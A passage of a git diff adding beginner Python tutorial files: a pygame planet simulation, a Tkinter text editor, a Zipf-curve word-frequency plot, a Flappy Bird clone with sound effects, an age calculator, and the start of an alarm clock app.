window. After that, we get the `Vector2` class from `pygame.math`. It offers some interesting methods to use when we want to work with vectors. The `randrange()` function from random will just be used when we make some planets. We also get `ctypes` to enable high DPI. This is often used with `tkinter` but we can also use it here, even though it has not as great an effect. + +```python +# Imports +import pygame +import sys + +# We will work with Vector2 because it has some useful functions. +from pygame.math import Vector2 + +from random import randrange + +import ctypes + +# Enable High Dots Per Inch so the image displayed on the window is sharper. +ctypes.windll.shcore.SetProcessDpiAwareness(1) +``` + +## Pygame Setup + +Next, we set up pygame, to do this we start with `pygame.init()` this has to be called so all the modules work. After that, we define the game's fps and we make a clock object which will handle the game speed in combination with the defined fps. + +```python +# Configuration +pygame.init() +fps = 60 +fpsClock = pygame.time.Clock() +``` + +We continue by defining the window size and making the window with these sizes. + +```python +# Window Size +windowdim = Vector2(800, 800) +screen = pygame.display.set_mode((int(windowdim.x), int(windowdim.y))) +``` + +## Planet Class +Let us get into the planet-class this is the main part of this program's code because it allows us to make an infinite amount of planets that will react to each other. + +Outside of the class we just need to define a list that holds all of the planets. Then in the main loop, we loop over this list and call a method on all of these objects. + +```python +# all the Planets are stored here +# They will append themselves. +planets = [] +``` + +### Constructor Function + +Let us first talk about the constructor of the class. We provide each planet with a starting position and we have the following optional arguments; delta, which is the velocity, the radius of the planet, and if the planet is immovable. We set all of these inputs to a variable available to the class. + +```python +# The Planet Class which will handle drawing and calculating planets. +class Planet(): + def __init__(self, position, delta=Vector2(0, 0), radius=10, imovable=False): + + # Where the planet is at the moment + self.position = position + + # The Radius determines how much this planet affects others + self.radius = radius + + # The Velocity + self.delta = delta + + # If this planet is moving + self.imovable = imovable + + # If this planet can be eaten by others. + self.eatable = False +``` + +At the end of the constructor, we append the object itself to the planet list so we don't have to do this manually. + +```python + # Appending itself to the list so its process + # function will later be called in a loop. + planets.append(self) +``` + +### Process Function + +Let us talk about the process function. This will be called for each planet in each frame. The whole of the movement code will be skipped if the `imovable` property is set to True. If the planet can move it will loop through every other planet and if the planet is not the object itself we continue. + +If the planet is too near to this one it will be eaten this is done by adding the radius of this planet to the other one and removing this planet from the list. + +If that's, not the case we calculate the vector to the other planet and then we add it to the delta. Now, this whole code is in a try-except block because it won't work if the planets are on top of each other. After that, we add the delta to the position. + +```python + # This function will be called once every frame + # and it is responsible for calculating where the planet will go. + + # No Movement Calculations will happen if the planet doesn't move at all. + # it also won't be eaten. + if not-self.imovable: + for i in planets: + + if not i is self: + try: + if self.eatable: + if self.position.distance_to(i.position) < self.radius + i.radius: + print('Eaten') + + i.radius += self.radius + + planets.remove(self) + + dir_from_obj = (i.position - self.position).normalize() * 0.01 * (i.radius / 10) + self.delta += dir_from_obj + + except: + print('In the same spot') + + self.position += self.delta +``` + +In the end, we draw the planet at its position this is done even if the planet is immovable. + +```python + # Drawing the planet at the current position. + pygame.draw.circle( + screen, + [255, 255, 255], + self.position, + self.radius, + ) +``` + +## Main Loop + +Last but not least we have the mainloop which will cool the process function on each planet in the planets list every frame. + +```python +# Game loop. +while True: + screen.fill((0, 0, 0)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + for p in planets: + p.process() + + pygame.display.flip() + fpsClock.tick(fps) +``` + +Now, this code won't spawn planets by itself. In the next part, we look at some examples. + +## Examples + +### Sun and two opposing Planets + +This code is run right before the main loop. and it will spawn three planets. After the code, you see it in action. + +```python +# Sun and two opposing Planets +Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p1.gif) + +### Sun and four opposing Planets + +```python +# Sun and four opposing Planets +Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) +Planet(Vector2(600, 400), delta=Vector2(0, 3), radius=10) +Planet(Vector2(200, 400), delta=Vector2(0, -3), radius=10) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p2.gif) + +### Two Suns and two planets + +```python +# Two Suns and two planets +Planet(Vector2(600, 400), radius=20, imovable=True) +Planet(Vector2(200, 400), radius=20, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(0, 0), radius=10) +Planet(Vector2(400, 210), delta=Vector2(1, 2), radius=5) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p3.gif) + +### Grid + +```python +# Grid +gridDimension = 10 +gridgap = 80 +for x in range(gridDimension): + for y in range(gridDimension): + Planet(Vector2(gridgap * x + 40, gridgap * y + 40), radius=3, imovable=True) + +Planet(Vector2(200, 200), delta=Vector2(randrange(-3, 3), 2), radius=5) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p4.gif) + +## Conclusion + +Excellent! You have successfully created a Planet Simulation using Python code! See how you can add more features to this program such as a UI to place planets or more settings for the planets. \ No newline at end of file diff --git a/general/zipf-curve/texts/Simple Text editor with Tkinter.txt b/general/zipf-curve/texts/Simple Text editor with Tkinter.txt new file mode 100644 index 00000000..0509ce00 --- /dev/null +++ b/general/zipf-curve/texts/Simple Text editor with Tkinter.txt @@ -0,0 +1,204 @@ +# Simple Text editor with Tkinter. +**How to make a simple program capable of opening, editing, and saving text files.** + +## Idea +We are going to make a simple text editor with the Tkinter module which comes with python so we don't have to install anything. It will have the following features. +- Open text files. +- Edit text files. +- Save text files. +- Open With (our Editor) + +## Imports +We start by importing some Modules which we all later need. We import Everything from `Tkinter` so we have all the variables available and we also import the `scrolledText` and `filedialog` classes individually. The Scrolled text will be the Text Area where we write and the file dialog allows us to trigger the `askfileopen` window. + +```python +# Import +from tkinter import * +from tkinter import scrolledtext +from tkinter import filedialog +``` + +Next, we import ctypes to enable high DPI (Dots per inch) so our window looks sharper. Below the Code, you will find a comparison. + +```python +import ctypes +``` +**Low DPI** +![enter image description here](https://i.imgur.com/hOyvTtq.png) + +**High DPI** +![enter image description here](https://i.imgur.com/Z6MPMFD.png) + +Last but not least we import `sys` so we can analyze the arguments given through the command line. We later use this to enable *open with*. + +```python +import sys +``` + +## Variable Setup +Now we set up some variables for our little program. The first two variables are used to keep consistency when titling our program. The `currentFilePath` is used when saving the file so we know where to save it. This String will also be appended to the window title like many programs do to show what file is being edited. At last, we define which file types can be opened with our editor. We used this variable in the file dialogues. + +```python +# Setup Variables +appName = 'Simple Text Editor' +nofileOpenedString = 'New File' + +currentFilePath = nofileOpenedString + +# Viable File Types, when opening and saving files. +fileTypes = [("Text Files","*.txt"), ("Markdown","*.md")] +``` + +## Tkinter Setup +Next, we are going to set up the Tkinter window. To do that we make a new `Tk` object. After that, we give the window a title, and we use the variables we defined earlier. Because we have no file opened at the moment it will say `Simple Text Editor - New File`. We will also make it so an asterisk will be added in front of the file name so we know when we have unsaved changes. Then we set the initial window Dimensions in pixels with the `geometry` method of tkinter. Last but not least we set the first column to take up 100% of the space so our text area will be the full width. + +```python +# Tkinter Setup +window = Tk() + +window.title(appName + " - " + currentFilePath) + +# Window Dimensions in Pixel +window.geometry('500x400') + +# Set the first column to occupy 100% of the width +window.grid_columnconfigure(0, weight=1) +``` + +## Handler Functions +Now we are going to set up two functions that are connected to some events called by tkiner widgets. + +### File Actions +The first function is called when we press any of the file buttons so we can save open and make new files. Later you will see how we connect them. We have to get the `currentFilePath` because it was defined outside this function. Our function will take one argument namely the action, which defines what we want to do. We will check for this argument and do stuff dependent on that. + +So if the action is `open` we will trigger an `askopenfilename` through the dialog class. We supply it with the filetypes we defined earlier so the user will only be able open these file types. After we chose the file, the function will return the path of the file. Then we set the Window Title to our `appName - File Path`. After that, we set our `currentFilePath` to this file path. Now we just open the file and insert the content into our text area called `txt` after we cleared it with the `delete` method. + +```python +# Handler Functions +def fileDropDownHandeler(action): + global currentFilePath + + # Opening a File + if action == "open": + file = filedialog.askopenfilename(filetypes = fileTypes) + + window.title(appName + " - " + file) + + currentFilePath = file + + with open(file, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) +``` + +If the action is `new` we will set the file path to `New File`. Then we also delete the text in the text area and we reset the window title. + +```python + # Making a new File + elif action == "new": + currentFilePath = nofileOpenedString + txt.delete(1.0,END) + window.title(appName + " - " + currentFilePath) +``` +Last but not least we will check for `save` or `saveAs`. Now if the file is new or we pressed the Save As button we will ask the user where he wants to save the file. Then we open the file and save the text from the text area there. After that, we reset the window title because there probably was an asterisk. +```python + # Saving a file + elif action == "save" or action == "saveAs": + if currentFilePath == nofileOpenedString or action=='saveAs': + currentFilePath = filedialog.asksaveasfilename(filetypes = fileTypes) + + with open(currentFilePath, 'w') as f: + f.write(txt.get('1.0','end')) + + window.title(appName + " - " + currentFilePath) +``` + +### Text Change +Now for a simple function. Whenever the text area is changed well call this function to simply add an asterisk in from of the current file Path to show the user that there are unsaved changes. + +```python +def textchange(event): + window.title(appName + " - *" + currentFilePath) +``` + +## Widgets +Now we are going to set up the Graphical Elements. + +### Text Area + +First, we set up the Text Area and set its height to 999 so it spans the full height. then we set its position through the `grid` method. `sticky=N+S+E+W` to tell the widget to grow in all directions when the user resizes the window. with the bind method, we say that whenever a key is pressed in the text area we call the `textchange` function. + +```python +# Text Area +txt = scrolledtext.ScrolledText(window, height=999) +txt.grid(row=1,sticky=N+S+E+W) + +# Bind event in the widget to a function +txt.bind('', textchange) +``` + +### Menu + +Now set up our Dropdown menu for file interactions. We first make a new `Menu` which has the root window. Then we make a second one that has the root of the first menu. We set the `tearoff` to false so the user won't be able to `tearoff` this menu to have it as a separate window. + +Then we add commands to this menu with its `add_command` method. We have to supply this function with a label that represents the displayed text and a command which is then called function if the button is pressed. We need to make a `lambda` which calls our `fileDropDownHandler` function. We have to do this so we can supply our function with an argument. We can also add separators with the `add_seperator` method. In the end, we add this menu as a cascade to the menu button and we set this menu to be the main menu. + +```python +# Menu +menu = Menu(window) + +# set tearoff to 0 +fileDropdown = Menu(menu, tearoff=False) + +# Add Commands and and their callbacks +fileDropdown.add_command(label='New', command=lambda: fileDropDownHandeler("new")) +fileDropdown.add_command(label='Open', command=lambda: fileDropDownHandeler("open")) + +# Adding a seperator between button types. +fileDropdown.add_separator() +fileDropdown.add_command(label='Save', command=lambda: fileDropDownHandeler("save")) +fileDropdown.add_command(label='Save as', command=lambda: fileDropDownHandeler("saveAs")) + +menu.add_cascade(label='File', menu=fileDropdown) + +# Set Menu to be Main Menu +window.config(menu=menu) +``` + +## Open with + +Now we enable the user to open a file directly with our program with this little code snippet. We check if the system argument length equates to two we know that the second argument is the path of the desired file. So we now set the `currentFilePath` to this path. After that, we do essentially the same as with the open with handler function. + +```python +# Enabling "open with" by looking if the second argument was passed. +if len(sys.argv) == 2: + currentFilePath = sys.argv[1] + + window.title(appName + " - " + currentFilePath) + + with open(currentFilePath, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) +``` + +## Main Loop +In the end we also call the main loop method on the window so the window even displays. Without this, it would not work. + +```python +# Main Loop +window.mainloop() +``` + +## Showcase + +Now you will see how the program works in a short gif. +![enter image description here](https://i.imgur.com/hsKSEg4.gif)m capable of opening, editing and saving text files.** + +## Idea + +## Imports + + +```python +pass +``` \ No newline at end of file diff --git a/general/zipf-curve/wordamounts.png b/general/zipf-curve/wordamounts.png new file mode 100644 index 00000000..f6f31f0c Binary files /dev/null and b/general/zipf-curve/wordamounts.png differ diff --git a/general/zipf-curve/zipf_curve.py b/general/zipf-curve/zipf_curve.py new file mode 100644 index 00000000..c592675a --- /dev/null +++ b/general/zipf-curve/zipf_curve.py @@ -0,0 +1,103 @@ +# Imports +import os +from matplotlib import pyplot as plt +import string +import numpy as np +from scipy.interpolate import make_interp_spline + +# define some dictionaries +texts = {} +textlengths = {} +textwordamounts = {} + +unwantedCharacters = list(string.punctuation) + +# How many ranks well show +depth = 10 +xAxis = [str(number) for number in range(1, depth+1)] + +# Getting all files in text folder +filePaths = os.listdir('texts') + +# Getting text from .txt files in folder +for path in filePaths: + with open(os.path.join('texts', path), 'r', encoding='UTF-8') as f: + texts[path.split('.')[0]] = f.read() + + +# Cleaning and counting the Text +for text in texts: + # Remove unwanted characters from the texts + for character in unwantedCharacters: + texts[text] = texts[text].replace(character, '').lower() + + splittedText = texts[text].split(' ') + + # Saving the text length to show in the label of the line later + textlengths[text] = len(splittedText) + + # Here will be the amount of occurence of each word stored + textwordamounts[text] = {} + + # Loop through all words in the text + for i in splittedText: + + # Add to the word at the given position if it already exists + # Else set the amount to one essentially making a new item in the dict + if i in textwordamounts[text].keys(): + textwordamounts[text][i] += 1 + else: + textwordamounts[text][i] = 1 + + # Sorting the dict by the values with sorted + # define custom key so the function knows what to use when sorting + textwordamounts[text] = dict( + sorted( + textwordamounts[text ].items(), + key=lambda x: x[1], + reverse=True)[0:depth] + ) + +# Get the percentage value of a given max value +def percentify(value, max): + return round(value / max * 100) + +# Generate smooth curvess +def smoothify(yInput): + + x = np.array(range(0, depth)) + y = np.array(yInput) + + # define x as 600 equally spaced values between the min and max of original x + x_smooth = np.linspace(x.min(), x.max(), 600) + + # define spline with degree k=3, which determines the amount of wiggle + spl = make_interp_spline(x, y, k=3) + y_smooth = spl(x_smooth) + + # Return the twe x and y axis + return x_smooth, y_smooth + +# Make the perfect Curve +ziffianCurveValues = [100/i for i in range(1, depth+1)] + +x, y = smoothify(ziffianCurveValues) + +plt.plot(x, y, label='Ziffian Curve', ls=':', color='grey') + + +# Plot the texts +for i in textwordamounts: + maxValue = list(textwordamounts[i].values())[0] + + yAxis = [percentify(value, maxValue) for value in list(textwordamounts[i].values())] + + x, y = smoothify(yAxis) + + plt.plot(x, y, label=i+f' [{textlengths[i]}]', lw=1, alpha=0.5) + +plt.xticks(range(0, depth), xAxis) + +plt.legend() +plt.savefig('wordamounts.png', dpi=300) +plt.show() \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/README.md b/gui-programming/adding-sound-effects-to-games/README.md new file mode 100644 index 00000000..65bd6f17 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/README.md @@ -0,0 +1 @@ +# [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/0.png b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/1.png b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/2.png b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav new file mode 100644 index 00000000..49ceb7d8 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav new file mode 100644 index 00000000..9dcc7062 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 new file mode 100644 index 00000000..cb9fcc85 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png differ diff --git a/gui-programming/adding-sound-effects-to-games/bird.py b/gui-programming/adding-sound-effects-to-games/bird.py new file mode 100644 index 00000000..0d7aec26 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/bird.py @@ -0,0 +1,46 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -8 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + whoosh = pygame.mixer.Sound("assets/sfx/whoosh.mp3") + whoosh.set_volume(0.5) + whoosh.play() + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() + # print(self.score) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/game.py b/gui-programming/adding-sound-effects-to-games/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/adding-sound-effects-to-games/main.py b/gui-programming/adding-sound-effects-to-games/main.py new file mode 100644 index 00000000..ea83ee54 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/main.py @@ -0,0 +1,44 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.FPS = pygame.time.Clock() + + def main(self): + pygame.mixer.music.load("assets/sfx/bgm.wav") + pygame.mixer.music.play(-1) + pygame.mixer.music.set_volume(0.8) + world = World(screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/adding-sound-effects-to-games/pipe.py b/gui-programming/adding-sound-effects-to-games/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/requirements.txt b/gui-programming/adding-sound-effects-to-games/requirements.txt new file mode 100644 index 00000000..a1cadd9d --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/requirements.txt @@ -0,0 +1 @@ +pygame==2.5.2 \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/settings.py b/gui-programming/adding-sound-effects-to-games/settings.py new file mode 100644 index 00000000..52cb46a4 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/settings.py @@ -0,0 +1,25 @@ +WIDTH, HEIGHT = 600, 680 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) + +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/world.py b/gui-programming/adding-sound-effects-to-games/world.py new file mode 100644 index 00000000..06712546 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/world.py @@ -0,0 +1,105 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + if self.playing: + hit = pygame.mixer.Sound("assets/sfx/hit.wav") + hit.set_volume(0.7) + hit.play() + self.playing = False + self.game_over = True + # for scoring + else: + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/age-calculator/README.md b/gui-programming/age-calculator/README.md new file mode 100644 index 00000000..8f7b227f --- /dev/null +++ b/gui-programming/age-calculator/README.md @@ -0,0 +1 @@ +# [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/age-calculator/age_calculator_cli.py b/gui-programming/age-calculator/age_calculator_cli.py new file mode 100644 index 00000000..361b4180 --- /dev/null +++ b/gui-programming/age-calculator/age_calculator_cli.py @@ -0,0 +1,27 @@ +from datetime import date + +def calculate_age(day, month, year): + # we are getting the current date using the today() + today = date.today() + # convering year, month and day into birthdate + birthdate = date(year, month, day) + # calculating the age + age = today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day)) + # return the age value + return age + + +# the try/except block +# the try will execute if there are no exceptions +try: + # we are getting day, month and year using input() function + day = input('Enter day:') + month = input('Enter month:') + year = input('Enter year:') + # creating a variable called calculated_age and we are also calling the claculate_age function + age_result = calculate_age(int(day), int(month), int(year)) + print(f'You are {age_result} years old') + +# the except will catch all errors +except: + print(f'Failed to calculate age, either day or month or year is invalid') diff --git a/gui-programming/age-calculator/age_calculator_ui.py b/gui-programming/age-calculator/age_calculator_ui.py new file mode 100644 index 00000000..1c266d92 --- /dev/null +++ b/gui-programming/age-calculator/age_calculator_ui.py @@ -0,0 +1,105 @@ +from tkinter import * +from tkinter import ttk +from datetime import date +from tkinter.messagebox import showerror + + +# the function for calculating the age +def calculate_age(): + # the try/except block + try: + # getting current date + today = date.today() + # getting day from the day entry + day = int(day_entry.get()) + # getting month from the month entry + month = int(month_entry.get()) + # getting year from the year entry + year = int(year_entry.get()) + # creating a date object + birthdate = date(year, month, day) + # calculating the age + age = today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day)) + # displaying the age using the age result label + age_result.config(text='You are ' + str(age) + ' years old') + # if an error occurs the showerror window will pop up + except: + showerror(title='Error', message='An error occurred while trying to ' \ + 'calculate age\nThe following could ' \ + 'be the causes:\n->Invalid input data\n->An empty field/fields\n'\ + 'Make sure you enter valid data and fill all the fields') + + + +# creating the main window +window = Tk() +# the title for the window +window.title('Age Calculator') +# the dimensions and position of the windodw +window.geometry('500x260+430+300') +# making the window nonresizabale +window.resizable(height=FALSE, width=FALSE) + +# the canvas to contain all the widgets +canvas = Canvas(window, width=500, height=400) +canvas.pack() + +# ttk styles for the labels +label_style = ttk.Style() +label_style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 14)) + +# ttk styles for the button +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font=('DotumChe', 16)) + +# ttk styles for the entries +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 15)) + +# the label for displaying the big text +big_label = Label(window, text='AGE CALCULATOR', font=('OCR A Extended', 25)) + +# placing the big label inside the canvas +canvas.create_window(245, 40, window=big_label) + + +# label and entry for the day +day_label = ttk.Label(window, text='Day:', style='TLabel') +day_entry = ttk.Entry(window, width=15, style='TEntry') + +# label and entry for the month +month_label = ttk.Label(window, text='Month:', style='TLabel') +month_entry = ttk.Entry(window, width=15, style='TEntry') + +# label and entry for the year +year_label = ttk.Label(window, text='Year:', style='TLabel') +year_entry = ttk.Entry(window, width=15, style='TEntry') + +# the button +calculate_button = ttk.Button(window, text='Calculate Age', style='TButton', command=calculate_age) + +# label for display the calculated age +age_result = ttk.Label(window, text='', style='TLabel') + + +# adding the day label and entry inside the canvas +canvas.create_window(114, 100, window=day_label) +canvas.create_window(130, 130, window=day_entry) + +# adding the month label and entry inside the canvas +canvas.create_window(250, 100, window=month_label) +canvas.create_window(245, 130, window=month_entry) + +# adding the year label and entry inside the canvas +canvas.create_window(350, 100, window=year_label) +canvas.create_window(360, 130, window=year_entry) + +# adding the age_result and entry inside the canvas +canvas.create_window(245, 180, window=age_result) + +# adding the calculate button inside the canvas +canvas.create_window(245, 220, window=calculate_button) + + +# runs the window infinitely until uses closes it +window.mainloop() \ No newline at end of file diff --git a/gui-programming/alarm-clock-app/README.md b/gui-programming/alarm-clock-app/README.md new file mode 100644 index 00000000..0319f0e7 --- /dev/null +++ b/gui-programming/alarm-clock-app/README.md @@ -0,0 +1 @@ +# [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/alarm-clock-app/alarmclock.py b/gui-programming/alarm-clock-app/alarmclock.py new file mode 100644 index 00000000..9e1c0ef9 --- /dev/null +++ b/gui-programming/alarm-clock-app/alarmclock.py @@ -0,0 +1,68 @@ +from tkinter import * +import datetime +import time +from playsound import playsound +from tkinter import messagebox +from threading import * + + +root = Tk() # initializes tkinter to create display window +root.geometry('450x250') # width and height of the window +root.resizable(0, 0) # sets fix size of window +root.title(' Alarm 